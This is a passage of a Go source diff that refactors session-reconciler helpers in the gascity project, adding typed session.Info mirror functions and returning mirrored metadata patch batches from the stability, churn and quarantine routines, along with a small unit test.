 // session referenced by its runtime session name, loading the session bead to
 // read its identity metadata. Returns "" when the store is unavailable or the
@@ -576,6 +672,29 @@ func normalizedSessionTemplate(bead beads.Bead, cfg *config.City) string {
 	return template
 }
 
+// normalizedSessionTemplateInfo is the session.Info mirror of normalizedSessionTemplate.
+func normalizedSessionTemplateInfo(i sessionpkg.Info, cfg *config.City) string {
+	template := i.Template
+	if cfg == nil {
+		return template
+	}
+	if template != "" {
+		if agent := findAgentByTemplate(cfg, template); agent != nil {
+			return agent.QualifiedName()
+		}
+	}
+	agentName := sessionBeadAgentNameInfo(i)
+	if agentName != "" {
+		if resolved := resolvedTemplateForIdentity(agentName, cfg); resolved != "" {
+			return resolved
+		}
+	}
+	if resolved := resolvedTemplateForIdentity(strings.TrimSpace(i.Alias), cfg); resolved != "" {
+		return resolved
+	}
+	return template
+}
+
 // findSessionNameByTemplate searches for an open session bead with the given
 // template and returns its session_name metadata. Returns "" if not found.
 // Pool instance beads (those with pool_slot metadata) are skipped to prevent
diff --git a/cmd/gc/session_origin.go b/cmd/gc/session_origin.go
index 0226792eed..558bb9703f 100644
--- a/cmd/gc/session_origin.go
+++ b/cmd/gc/session_origin.go
@@ -5,6 +5,7 @@ import (
 
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
 func sessionOrigin(bead beads.Bead) string {
@@ -43,6 +44,45 @@ func isEphemeralSessionBead(bead beads.Bead) bool {
 	return sessionOrigin(bead) == "ephemeral"
 }
 
+// sessionOriginInfo is the session.Info mirror of sessionOrigin: a
+// field-for-field projection over the typed Info instead of raw bead metadata.
+func sessionOriginInfo(i sessionpkg.Info) string {
+	origin := strings.TrimSpace(i.SessionOrigin)
+	if origin != "" {
+		return origin
+	}
+	if isNamedSessionInfo(i) {
+		return "named"
+	}
+	if isManualSessionInfo(i) {
+		return "manual"
+	}
+	if i.PoolManaged {
+		return "ephemeral"
+	}
+	if strings.TrimSpace(i.PoolSlot) != "" {
+		return "ephemeral"
+	}
+	if i.DependencyOnly {
+		return "ephemeral"
+	}
+	template := strings.TrimSpace(i.Template)
+	if template != "" {
+		if slot := resolvePoolSlot(strings.TrimSpace(sessionBeadAgentNameInfo(i)), template); slot > 0 {
+			return "ephemeral"
+		}
+		if slot := resolvePoolSlot(strings.TrimSpace(i.SessionNameMetadata), template); slot > 0 {
+			return "ephemeral"
+		}
+	}
+	return ""
+}
+
+// isEphemeralSessionInfo is the session.Info mirror of isEphemeralSessionBead.
+func isEphemeralSessionInfo(i sessionpkg.Info) bool {
+	return sessionOriginInfo(i) == "ephemeral"
+}
+
 // Legacy pooled sessions created before manual-session origin backfill were
 // persisted as session_origin="ephemeral" even though they were user-created.
 // Pool-managed controller beads always stamp pool_managed/pool_slot, so a
@@ -84,6 +124,50 @@ func isEphemeralSessionBeadForAgent(bead beads.Bead, cfgAgent *config.Agent) boo
 	return existingPoolSlot(cfgAgent, bead) > 0
 }
 
+// isEphemeralSessionInfoForAgent is the session.Info sibling of
+// isEphemeralSessionBeadForAgent, reading Info classifiers instead of raw beads.
+// Equivalence-proven.
+func isEphemeralSessionInfoForAgent(info sessionpkg.Info, cfgAgent *config.Agent) bool {
+	if isEphemeralSessionInfo(info) {
+		return true
+	}
+	if cfgAgent == nil || !cfgAgent.SupportsInstanceExpansion() {
+		return false
+	}
+	if isNamedSessionInfo(info) || isManualSessionInfo(info) {
+		return false
+	}
+	return existingPoolSlotInfo(cfgAgent, info) > 0
+}
+
+// isLegacyManualSessionInfoForAgent is the session.Info sibling of
+// isLegacyManualSessionBeadForAgent, reading typed Info fields instead of raw
+// bead metadata. Equivalence-proven.
+func isLegacyManualSessionInfoForAgent(info sessionpkg.Info, cfgAgent *config.Agent) bool {
+	if cfgAgent == nil || !cfgAgent.SupportsMultipleSessions() {
+		return false
+	}
+	if strings.TrimSpace(info.SessionOrigin) != "ephemeral" {
+		return false
+	}
+	if isNamedSessionInfo(info) {
+		return false
+	}
+	if info.PoolManaged {
+		return false
+	}
+	if strings.TrimSpace(info.PoolSlot) != "" {
+		return false
+	}
+	return !info.DependencyOnly
+}
+
+// isManualSessionInfoForAgent is the session.Info sibling of
+// isManualSessionBeadForAgent. Equivalence-proven.
+func isManualSessionInfoForAgent(info sessionpkg.Info, cfgAgent *config.Agent) bool {
+	return isManualSessionInfo(info) || isLegacyManualSessionInfoForAgent(info, cfgAgent)
+}
+
 func templateParamsSessionOrigin(tp TemplateParams) string {
 	switch {
 	case strings.TrimSpace(tp.ConfiguredNamedIdentity) != "":
diff --git a/cmd/gc/session_progress.go b/cmd/gc/session_progress.go
index df832a2cb4..b6b5dc18a2 100644
--- a/cmd/gc/session_progress.go
+++ b/cmd/gc/session_progress.go
@@ -1,6 +1,30 @@
 package main
 
-import "time"
+import (
+	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
+)
+
+// openPoolSessionCountForTemplate counts the reconciler working-set sessions
+// that are still open and resolve to the given agent template. It reads each
+// session's typed Info from the coherent snapshot (infoByID), not the raw bead,
+// so a session closed earlier in the tick is excluded as soon as its close has
+// been refreshed onto the snapshot. It feeds the min-floor idle-worker
+// exemption: a pool at or below its floor is entirely always-warm contingent.
+//
+// The count is order-independent (unique session IDs), so it ranges infoByID
+// directly rather than the raw `ordered` beads (Step 5e demotion).
+func openPoolSessionCountForTemplate(infoByID map[string]sessionpkg.Info, cfg *config.City, template string) int {
+	open := 0
+	for _, info := range infoByID {
+		if !info.Closed && normalizedSessionTemplateInfo(info, cfg) == template {
+			open++
+		}
+	}
+	return open
+}
 
 // isMinFloorIdleWorker reports whether a session is a legitimate pool floor
 // worker that should be exempt from the progress-stall recycler.
diff --git a/cmd/gc/session_progress_test.go b/cmd/gc/session_progress_test.go
index ba595b1017..6c6f3b1bfd 100644
--- a/cmd/gc/session_progress_test.go
+++ b/cmd/gc/session_progress_test.go
@@ -3,8 +3,33 @@ package main
 import (
 	"testing"
 	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
+// TestOpenPoolSessionCountForTemplateExcludesClosed guards the min-floor scan's
+// read-after-close contract: a session whose Info snapshot is Closed (the shape
+// the reconciler produces after refreshing a mid-tick close onto infoByID) must
+// not count toward the pool's open floor. Only open, same-template sessions are
+// counted; a closed same-template session and an open other-template session are
+// both excluded.
+func TestOpenPoolSessionCountForTemplateExcludesClosed(t *testing.T) {
+	cfg := &config.City{Agents: []config.Agent{{Name: "worker"}}}
+	// Ranged as a map (Step 5e): membership + Closed/template drive the count, not
+	// order. Two open workers count; the closed worker and the scout are excluded.
+	infoByID := map[string]sessionpkg.Info{
+		"s-open-1":        {ID: "s-open-1", Template: "worker"},
+		"s-open-2":        {ID: "s-open-2", Template: "worker"},
+		"s-closed-worker": {ID: "s-closed-worker", Template: "worker", Closed: true},
+		"s-open-scout":    {ID: "s-open-scout", Template: "scout"},
+	}
+
+	if got := openPoolSessionCountForTemplate(infoByID, cfg, "worker"); got != 2 {
+		t.Fatalf("openPoolSessionCountForTemplate = %d, want 2 (two open workers; the closed worker and the scout must be excluded)", got)
+	}
+}
+
 func TestSessionProgressStalled(t *testing.T) {
 	now := time.Date(2026, 6, 2, 12, 0, 0, 0, time.UTC)
 	stale := now.Add(-time.Hour)    // well past any sane threshold
diff --git a/cmd/gc/session_reconcile.go b/cmd/gc/session_reconcile.go
index ef52ce23f0..c36f9a78ca 100644
--- a/cmd/gc/session_reconcile.go
+++ b/cmd/gc/session_reconcile.go
@@ -197,6 +197,24 @@ func sessionStartRequested(session beads.Bead, clk clock.Clock) bool {
 	return !staleCreatingState(session, clk)
 }
 
+// sessionStartRequestedInfo is the session.Info sibling of sessionStartRequested.
+// Equivalence-proven. It reads the RAW metadata state (Info.MetadataState) and the
+// projected pending-create claim flag (Info.PendingCreateClaim, which the codec
+// derives as strings.TrimSpace(pending_create_claim) == "true" — identical to the
+// raw read), and keeps the literal "creating" state compare the original uses.
+func sessionStartRequestedInfo(i sessionpkg.Info, clk clock.Clock) bool {
+	if strings.TrimSpace(i.MetadataState) == string(sessionpkg.StateStartPending) {
+		return true
+	}
+	if i.PendingCreateClaim {
+		return true
+	}
+	if strings.TrimSpace(i.MetadataState) != "creating" {
+		return false
+	}
+	return !staleCreatingStateInfo(i, clk)
+}
+
 // staleCreatingStateTimeout bounds how long a state=creating bead may sit
 // before generic creating metadata and corrupt start leases roll back. It is
 // measured from the pending-create transition (see staleCreatingState below),
@@ -230,6 +248,21 @@ func sessionMetadataState(session beads.Bead) string {
 	}
 }
 
+// sessionMetadataStateInfo is the session.Info mirror of sessionMetadataState. It
+// reads the RAW metadata state (Info.MetadataState), not the normalized Info.State.
+func sessionMetadataStateInfo(i sessionpkg.Info) string {
+	switch state := strings.TrimSpace(i.MetadataState); state {
+	case "awake":
+		return "active"
+	case string(sessionpkg.StateStartPending):
+		return "creating"
+	case "drained":
+		return "asleep"
+	default:
+		return state
+	}
+}
+
 func computeWakeEvaluations(
 	sessions []beads.Bead,
 	cfg *config.City,
@@ -576,7 +609,7 @@ func agentTemplateIdentitiesEquivalent(cfg *config.City, a, b string) bool {
 
 // healExpiredTimers clears expired held_until and quarantined_until.
 // Separate from wakeReasons() to keep that function pure.
-func healExpiredTimers(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock.Clock) {
+func healExpiredTimers(session *beads.Bead, sessFront *sessionpkg.Store, clk clock.Clock) {
 	if h := session.Metadata["held_until"]; h != "" {
 		if t, _ := time.Parse(time.RFC3339, h); !t.IsZero() && clk.Now().After(t) {
 			batch := sessionpkg.ClearExpiredHoldPatch(session.Metadata["sleep_reason"])
@@ -607,20 +640,25 @@ func healExpiredTimers(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk
 // pass nil here after healing. That ordering preserves continuation metadata
 // for provider rate-limit screens while still letting crash recovery clear
 // stale continuation identity after advisory state has been healed.
-// Returns true if a stability event was recorded.
 // Edge-triggered: clears last_woke_at after recording so the same crash
-// is counted exactly once.
-// Drain-aware: draining sessions died by request, not by crash.
-func checkStability(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, sessFront *sessionpkg.InfoStore, clk clock.Clock, peek func(lines int) (string, error)) bool {
-	if handled, err := checkRateLimitStability(session, cfg, alive, dt, sessFront, clk, peek); handled || err != nil {
-		return true
+// is counted exactly once. Drain-aware: draining sessions died by request,
+// not by crash.
+//
+// Returns (true, batch) when a stability event was recorded, where batch is the
+// union of every patch mirrored onto session.Metadata on that path so the
+// forward-pass caller can fold it via ApplyPatch (front-door migration Step 6d,
+// STEP6-PREPASS-AUDIT group 2). Returns (false, nil) otherwise; ApplyPatch(nil)
+// is a no-op.
+func checkStability(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, sessFront *sessionpkg.Store, clk clock.Clock, peek func(lines int) (string, error)) (bool, map[string]string) {
+	if handled, rlBatch, err := checkRateLimitStability(session, cfg, alive, dt, sessFront, clk, peek); handled || err != nil {
+		return true, rlBatch
 	}
 	if sessionpkg.DecideSessionExit(sessionExitFacts(session, cfg, alive, dt, clk)) != sessionpkg.ExitRapidCrash {
-		return false
+		return false, nil
 	}
-	recordWakeFailure(session, sessFront, clk, sessionAgentMetricIdentity(*session, cfg))
-	clearLastWokeAt(session, sessFront)
-	return true
+	wfBatch := recordWakeFailure(session, sessFront, clk, sessionAgentMetricIdentity(*session, cfg))
+	clearBatch := clearLastWokeAt(session, sessFront)
+	return true, mergeMetadataPatch(wfBatch, clearBatch)
 }
 
 // checkRateLimitStability runs the provider-screen lane of the
@@ -633,16 +671,15 @@ func checkStability(session *beads.Bead, cfg *config.City, alive bool, dt *drain
 //   - otherwise a rate-limit screen → quarantine with a back-off and a
 //     distinct sleep_reason, so the session is retried rather than crashed.
 //
-// Returns handled=true when either was recorded, or the write error when
-// recording failed; the caller skips further processing for the session in
-// either case.
-//
-// This is the non-zombie counterpart to the reconciler's `running && !alive`
-// zombie screen capture: a session that died without satisfying that screen
-// but still exposes a terminal provider error via peek is classified here.
-func checkRateLimitStability(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, sessFront *sessionpkg.InfoStore, clk clock.Clock, peek func(lines int) (string, error)) (bool, error) {
+// Returns (handled, err, batch): handled=true when either was recorded, err
+// when the write failed, and batch holding the mirrored patch on the hit path
+// so the forward-pass caller can fold it onto the typed snapshot via
+// ApplyPatch (front-door migration Step 6d, STEP6-PREPASS-AUDIT group 1).
+// batch is nil on every path that mirrors nothing (no-hit, nil session, or
+// persist error); ApplyPatch(nil) is a no-op.
+func checkRateLimitStability(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, sessFront *sessionpkg.Store, clk clock.Clock, peek func(lines int) (string, error)) (bool, map[string]string, error) {
 	if session == nil {
-		return false, nil
+		return false, nil, nil
 	}
 	facts := sessionExitFacts(session, cfg, alive, dt, clk)
 	facts.ScreenAvailable = peek != nil
@@ -651,10 +688,11 @@ func checkRateLimitStability(session *beads.Bead, cfg *config.City, alive bool,
 		facts.Screen = sessionpkg.ScreenOther
 		if content, err := peek(rateLimitPeekLines); err == nil {
 			if reason := runtime.ProviderTerminalErrorReason(content); reason != "" {
-				if markErr := markProviderTerminalError(session, sessFront, clk, reason); markErr != nil {
-					return false, markErr
+				termBatch, markErr := markProviderTerminalError(session, sessFront, clk, reason)
+				if markErr != nil {
+					return false, nil, markErr
 				}
-				return true, nil
+				return true, termBatch, nil
 			}
 			if runtime.ContainsProviderRateLimitScreen(content) {
 				facts.Screen = sessionpkg.ScreenRateLimit
@@ -663,12 +701,13 @@ func checkRateLimitStability(session *beads.Bead, cfg *config.City, alive bool,
 		dec = sessionpkg.DecideSessionExit(facts)
 	}
 	if dec != sessionpkg.ExitRateLimitQuarantine {
-		return false, nil
+		return false, nil, nil
 	}
-	if err := recordRateLimitQuarantine(session, sessFront, clk); err != nil {
-		return false, err
+	rlBatch, err := recordRateLimitQuarantine(session, sessFront, clk)
+	if err != nil {
+		return false, nil, err
 	}
-	return true, nil
+	return true, rlBatch, nil
 }
 
 // sessionExitFacts gathers the cheap facts for the exit-classification
@@ -695,36 +734,50 @@ func sessionExitFacts(session *beads.Bead, cfg *config.City, alive bool, dt *dra
 	}
 }
 
-func clearLastWokeAt(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
+// clearLastWokeAt clears last_woke_at on the session bead and returns the
+// mirrored batch {"last_woke_at": ""} so the caller can fold it onto the typed
+// snapshot via ApplyPatch (front-door migration Step 6d).
+func clearLastWokeAt(session *beads.Bead, sessFront *sessionpkg.Store) map[string]string {
 	_ = sessFront.SetMarker(session.ID, "last_woke_at", "")
 	session.Metadata["last_woke_at"] = ""
+	return map[string]string{"last_woke_at": ""}
 }
 
 // recordRateLimitQuarantine backs off a session that exited into a provider
 // rate-limit screen without treating the exit as a crash or resetting its
-// conversation metadata.
-func recordRateLimitQuarantine(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock.Clock) error {
+// conversation metadata. Returns (batch, nil) on success so the caller can
+// fold the mirrored patch onto the typed snapshot via ApplyPatch (front-door
+// migration Step 6d); returns (nil, err) on persist failure.
+func recordRateLimitQuarantine(session *beads.Bead, sessFront *sessionpkg.Store, clk clock.Clock) (map[string]string, error) {
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string)
 	}
 	batch := sessionpkg.RateLimitQuarantinePatch(clk.Now().Add(defaultRateLimitQuarantineDuration))
 	if err := sessFront.ApplyPatch(session.ID, batch); err != nil {
 		fmt.Fprintf(os.Stderr, "recordRateLimitQuarantine: SetMetadataBatch %s: %v\n", session.ID, err) //nolint:errcheck
-		return err
+		return nil, err
 	}
 	for k, v := range batch {
 		session.Metadata[k] = v
 	}
-	return nil
+	return batch, nil
 }
 
-func markProviderTerminalError(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock.Clock, reason string) error {
+// markProviderTerminalError records the terminal-provider-error health/sleep
+// metadata on a zombie session bead. It returns the batch it mirrored onto
+// session.Metadata (so the reconciler can fold it onto the typed Info snapshot
+// via write-returns-Info, front-door migration Step 6d) and any persist error.
+// The returned batch is nil on every path that mirrors nothing — a nil/empty
+// argument, an empty reason, or a persist failure (the mirror below runs only
+// after a successful ApplyPatch) — so ApplyPatch(returnedBatch) is a no-op
+// exactly when the raw bead was left unchanged.
+func markProviderTerminalError(session *beads.Bead, sessFront *sessionpkg.Store, clk clock.Clock, reason string) (map[string]string, error) {
 	if session == nil || sessFront == nil {
-		return nil
+		return nil, nil
 	}
 	reason = strings.TrimSpace(reason)
 	if reason == "" {
-		return nil
+		return nil, nil
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string)
@@ -746,12 +799,12 @@ func markProviderTerminalError(session *beads.Bead, sessFront *sessionpkg.InfoSt
 		sessionProviderTerminalErrorAtKey:       now.Format(time.RFC3339),
 	}
 	if err := sessFront.ApplyPatch(session.ID, batch); err != nil {
-		return err
+		return nil, err
 	}
 	for k, v := range batch {
 		session.Metadata[k] = v
 	}
-	return nil
+	return batch, nil
 }
 
 func sessionHasProviderTerminalError(session beads.Bead) bool {
@@ -763,11 +816,29 @@ func sessionHasProviderTerminalError(session beads.Bead) bool {
 		strings.TrimSpace(session.Metadata[sessionHealthReasonMetadataKey]) != ""
 }
 
-// recordWakeFailure increments wake_attempts and quarantines if threshold exceeded.
-// agentIdentity is the start-path-joinable agent label for gc.agent.quarantines.total,
-// resolved by the caller from its authoritative source (the cfg-aware metric
-// resolver for reconcile paths, tp.DisplayName() for the start-failure path).
-func recordWakeFailure(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock.Clock, agentIdentity string) {
+// sessionHasProviderTerminalErrorInfo is the session.Info sibling of
+// sessionHasProviderTerminalError, reading the typed health/terminal-error
+// mirrors instead of raw bead metadata. Equivalence-proven.
+func sessionHasProviderTerminalErrorInfo(info sessionpkg.Info) bool {
+	if strings.TrimSpace(info.ProviderTerminalError) != "" {
+		return true
+	}
+	return strings.TrimSpace(info.HealthState) == "unhealthy" &&
+		info.Drainable &&
+		strings.TrimSpace(info.HealthReason) != ""
+}
+
+// recordWakeFailure increments wake_attempts and quarantines if threshold
+// exceeded. Returns the merged batch of everything mirrored onto
+// session.Metadata so the caller can fold it onto the typed snapshot via
+// ApplyPatch (front-door migration Step 6d). The batch includes:
+//   - the ConversationResetPatch if session_key or started_config_hash was set
+//   - the WakeFailureAccrualPatch (quarantine or single-counter increment)
+//
+// Returns nil only when no keys were mirrored (a quarantined accrual whose
+// persist failed is excluded from the batch). agentIdentity is the
+// start-path-joinable agent label for gc.agent.quarantines.total.
+func recordWakeFailure(session *beads.Bead, sessFront *sessionpkg.Store, clk clock.Clock, agentIdentity string) map[string]string {
 	attempts, _ := strconv.Atoi(session.Metadata["wake_attempts"])
 
 	if session.Metadata == nil {
@@ -784,12 +855,14 @@ func recordWakeFailure(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk
 	// runs. Clear started_config_hash whenever either field is set so the
 	// recovery remains correct in that call order and for any skewed state
 	// left behind by older builds.
+	var merged map[string]string
 	if session.Metadata["session_key"] != "" || session.Metadata["started_config_hash"] != "" {
 		reset := sessionpkg.ConversationResetPatch(true)
 		_ = sessFront.ApplyPatch(session.ID, reset)
 		for k, v := range reset {
 			session.Metadata[k] = v
 		}
+		merged = mergeMetadataPatch(merged, reset)
 	}
 	accrual := sessionpkg.WakeFailureAccrualPatch(attempts, defaultMaxWakeAttempts, clk.Now().Add(defaultQuarantineDuration))
 	if accrual.Quarantined {
@@ -798,16 +871,22 @@ func recordWakeFailure(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk
 				session.Metadata[k] = v
 			}
 			telemetry.RecordAgentQuarantine(context.Background(), agentIdentity)
+			merged = mergeMetadataPatch(merged, accrual.Patch)
 		}
 	} else {
 		next := accrual.Patch["wake_attempts"]
 		_ = sessFront.SetMarker(session.ID, "wake_attempts", next)
 		session.Metadata["wake_attempts"] = next
+		merged = mergeMetadataPatch(merged, map[string]string{"wake_attempts": next})
 	}
+	return merged
 }
 
 // clearWakeFailures resets crash counter and quarantine for a stable session.
-func clearWakeFailures(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
+// Returns the mirrored batch on the persist path, nil when there is nothing to
+// clear (both fields already absent/zero). The caller folds the returned batch
+// onto the typed snapshot via ApplyPatch (nil is a no-op).
+func clearWakeFailures(session *beads.Bead, sessFront *sessionpkg.Store) map[string]string {
 	batch := make(map[string]string, 2)
 	if session.Metadata["wake_attempts"] != "" && session.Metadata["wake_attempts"] != "0" {
 		batch["wake_attempts"] = "0"
@@ -816,7 +895,7 @@ func clearWakeFailures(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
 		batch["quarantined_until"] = ""
 	}
 	if len(batch) == 0 {
-		return
+		return nil
 	}
 	if err := sessFront.ApplyPatch(session.ID, batch); err == nil {
 		if session.Metadata == nil {
@@ -825,7 +904,9 @@ func clearWakeFailures(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
 		for k, v := range batch {
 			session.Metadata[k] = v
 		}
+		return batch
 	}
+	return nil
 }
 
 // checkChurn detects repeated non-productive wake→die cycles (context
@@ -833,25 +914,27 @@ func clearWakeFailures(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
 // crashes (< stabilityThreshold), this catches sessions that survive past
 // the stability threshold but die before being productive.
 //
-// Returns true if a churn event was recorded (caller should skip further
-// processing for this session).
-func checkChurn(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, sessFront *sessionpkg.InfoStore, clk clock.Clock) bool {
+// Returns (churned, batch): churned=true if a churn event was recorded
+// (caller should skip further processing for this session), and batch is the
+// union of all patches mirrored onto session.Metadata on either exit path,
+// so the caller can fold it via ApplyPatch regardless of the bool return
+// (front-door migration Step 6d, STEP6-PREPASS-AUDIT group 5).
+// batch is nil when nothing was mirrored. ApplyPatch(nil) is a no-op.
+func checkChurn(session *beads.Bead, cfg *config.City, alive bool, dt *drainTracker, sessFront *sessionpkg.Store, clk clock.Clock) (bool, map[string]string) {
 	switch sessionpkg.DecideSessionExit(sessionExitFacts(session, cfg, alive, dt, clk)) {
 	case sessionpkg.ExitChurn:
-		recordChurn(session, sessFront, clk, sessionAgentMetricIdentity(*session, cfg))
+		churnBatch := recordChurn(session, sessFront, clk, sessionAgentMetricIdentity(*session, cfg))
 		// Clear last_woke_at so this death is not re-counted next tick
 		// (edge-triggered, same pattern as checkStability).
-		_ = sessFront.SetMarker(session.ID, "last_woke_at", "")
-		session.Metadata["last_woke_at"] = ""
-		return true
+		clearBatch := clearLastWokeAt(session, sessFront)
+		return true, mergeMetadataPatch(churnBatch, clearBatch)
 	case sessionpkg.ExitProductiveDeath:
 		// Session was productive — clear any stale churn count so it
 		// doesn't carry over and cause premature quarantine next time.
-		clearChurn(session, sessFront)
-		return false
+		return false, clearChurn(session, sessFront)
 	default:
 		// Rapid crashes belong to checkStability, which ran first.
-		return false
+		return false, nil
 	}
 }
 
@@ -859,12 +942,21 @@ func isDeliberateSleepReason(reason string) bool {
 	return sessionpkg.IsDeliberateSleepReason(reason)
 }
 
-// recordChurn increments the churn counter and clears session_key on
-// every churn event to force a fresh conversation on next wake. When
-// the counter reaches defaultMaxChurnCycles, the session is quarantined.
-// agentIdentity is the start-path-joinable agent label for
-// gc.agent.quarantines.total, resolved by the caller.
-func recordChurn(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock.Clock, agentIdentity string) {
+// recordChurn increments the churn counter and clears session_key on every
+// churn event to force a fresh conversation on next wake. When the counter
+// reaches defaultMaxChurnCycles, the session is quarantined.
+//
+// Returns the merged batch of everything mirrored onto session.Metadata so
+// the caller can fold it onto the typed snapshot via ApplyPatch (front-door
+// migration Step 6d). The batch includes:
+//   - the ConversationResetPatch (session_key/continuation_reset_pending) if
+//     session_key was set
+//   - the ChurnAccrualPatch (churn_count, and quarantined_until/sleep_reason
+//     when quarantined) when the quarantined persist succeeded
+//   - {"churn_count": next} on the non-quarantine path
+//
+// agentIdentity is the start-path-joinable agent label for gc.agent.quarantines.total.
+func recordChurn(session *beads.Bead, sessFront *sessionpkg.Store, clk clock.Clock, agentIdentity string) map[string]string {
 	count, _ := strconv.Atoi(session.Metadata["churn_count"])
 
 	if session.Metadata == nil {
@@ -874,12 +966,14 @@ func recordChurn(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock
 	// Always clear session_key on churn — context exhaustion means the
 	// conversation itself is the problem. A fresh conversation avoids
 	// re-hitting the same wall.
+	var merged map[string]string
 	if session.Metadata["session_key"] != "" {
 		reset := sessionpkg.ConversationResetPatch(false)
 		_ = sessFront.ApplyPatch(session.ID, reset)
 		for k, v := range reset {
 			session.Metadata[k] = v
 		}
+		merged = mergeMetadataPatch(merged, reset)
 	}
 
 	accrual := sessionpkg.ChurnAccrualPatch(count, defaultMaxChurnCycles, clk.Now().Add(defaultQuarantineDuration))
@@ -889,22 +983,28 @@ func recordChurn(session *beads.Bead, sessFront *sessionpkg.InfoStore, clk clock
 				session.Metadata[k] = v
 			}
 			telemetry.RecordAgentQuarantine(context.Background(), agentIdentity)
+			merged = mergeMetadataPatch(merged, accrual.Patch)
 		}
-		return
+		return merged
 	}
 
 	next := accrual.Patch["churn_count"]
 	_ = sessFront.SetMarker(session.ID, "churn_count", next)
 	session.Metadata["churn_count"] = next
+	return mergeMetadataPatch(merged, map[string]string{"churn_count": next})
 }
 
 // clearChurn resets the churn counter for a productive session.
-func clearChurn(session *beads.Bead, sessFront *sessionpkg.InfoStore) {
+// Returns the mirrored batch {"churn_count":"0"} when a clear is persisted, nil
+// when churn_count is already absent or zero (no-op). The caller folds the
+// returned batch onto the typed snapshot via ApplyPatch (nil is a no-op).
+func clearChurn(session *beads.Bead, sessFront *sessionpkg.Store) map[string]string {
 	if session.Metadata["churn_count"] == "" || session.Metadata["churn_count"] == "0" {
-		return
+		return nil
 	}
 	_ = sessFront.SetMarker(session.ID, "churn_count", "0")
 	session.Metadata["churn_count"] = "0"
+	return map[string]string{"churn_count": "0"}
 }
 
 // productiveLongEnough returns true if the session has been alive past
@@ -940,6 +1040,11 @@ func sessionWakeAttempts(session beads.Bead) int {
 	return n
 }
 
+// sessionWakeAttemptsInfo is the session.Info mirror of sessionWakeAttempts.
+func sessionWakeAttemptsInfo(i sessionpkg.Info) int {
+	return i.WakeAttempts
+}
+
 // sessionIsQuarantined returns true if the session has an active quarantine.
 func sessionIsQuarantined(session beads.Bead, clk clock.Clock) bool {
 	q := session.Metadata["quarantined_until"]
@@ -953,6 +1058,19 @@ func sessionIsQuarantined(session beads.Bead, clk clock.Clock) bool {
 	return clk.Now().Before(t)
 }
 
+// sessionIsQuarantinedInfo is the session.Info mirror of sessionIsQuarantined.
+func sessionIsQuarantinedInfo(i sessionpkg.Info, clk clock.Clock) bool {
+	q := i.QuarantinedUntil
+	if q == "" {
+		return false
+	}
+	t, err := time.Parse(time.RFC3339, q)
+	if err != nil {
+		return false
+	}
+	return clk.Now().Before(t)
+}
+
 // isPoolExcess returns true if this session is a pool instance whose slot
 // exceeds the current desired count.
 func isPoolExcess(session beads.Bead, cfg *config.City, poolDesired map[string]int) bool {
@@ -965,8 +1083,26 @@ func isPoolExcess(session beads.Bead, cfg *config.City, poolDesired map[string]i
 	return poolDesired[template] <= 0
 }
 
+// mergeMetadataPatch merges src into dst and returns the result. Later (src)
+// keys win. If dst is nil and src is non-nil, src is returned directly to
+// avoid an extra allocation. Used by the stability/churn/rate-limit helpers to
+// accumulate the complete mirrored batch for the write-returns-Info fold
+// (front-door migration Step 6d).
+func mergeMetadataPatch(dst, src map[string]string) map[string]string {
+	if len(src) == 0 {
+		return dst
+	}
+	if len(dst) == 0 {
+		return src
+	}
+	for k, v := range src {
+		dst[k] = v
+	}
+	return dst
+}
+
 // healState updates advisory state metadata only when changed (dirty check).
-func healState(session *beads.Bead, alive bool, sessFront *sessionpkg.InfoStore, clk clock.Clock) {
+func healState(session *beads.Bead, alive bool, sessFront *sessionpkg.Store, clk clock.Clock) {
 	healStateWithRollback(session, alive, sessFront, clk, 0, true)
 }
 
@@ -977,7 +1113,7 @@ func healState(session *beads.Bead, alive bool, sessFront *sessionpkg.InfoStore,
 // proper rollback. When true (default), healState clears the stale claim
 // in-line after startupTimeout has elapsed to break the state=creating ↔
 // state=asleep oscillation described in ga-mf1.
-func healStateWithRollback(session *beads.Bead, alive bool, sessFront *sessionpkg.InfoStore, clk clock.Clock, startupTimeout time.Duration, rollbackAvailable bool) map[string]string {
+func healStateWithRollback(session *beads.Bead, alive bool, sessFront *sessionpkg.Store, clk clock.Clock, startupTimeout time.Duration, rollbackAvailable bool) map[string]string {
 	if session == nil {
 		return nil
 	}
@@ -1021,14 +1157,12 @@ func healStatePatchWithRollback(session beads.Bead, alive bool, clk clock.Clock,
 		now = clk.Now()
 		staleCreatingAfter = staleCreatingStateTimeout
 	}
-	view := sessionpkg.ProjectLifecycle(sessionpkg.LifecycleInput{
-		Status:             session.Status,
-		Metadata:           meta,
-		Runtime:            sessionpkg.RuntimeFacts{Observed: true, Alive: alive},
-		CreatedAt:          session.CreatedAt,
-		StaleCreatingAfter: staleCreatingAfter,
-		Now:                now,
-	})
+	lcInput := sessionpkg.LifecycleInputFromMetadata(session.Status, meta)
+	lcInput.Runtime = sessionpkg.RuntimeFacts{Observed: true, Alive: alive}
+	lcInput.CreatedAt = session.CreatedAt
+	lcInput.StaleCreatingAfter = staleCreatingAfter
+	lcInput.Now = now
+	view := sessionpkg.ProjectLifecycle(lcInput)
 
 	batch := make(map[string]string)
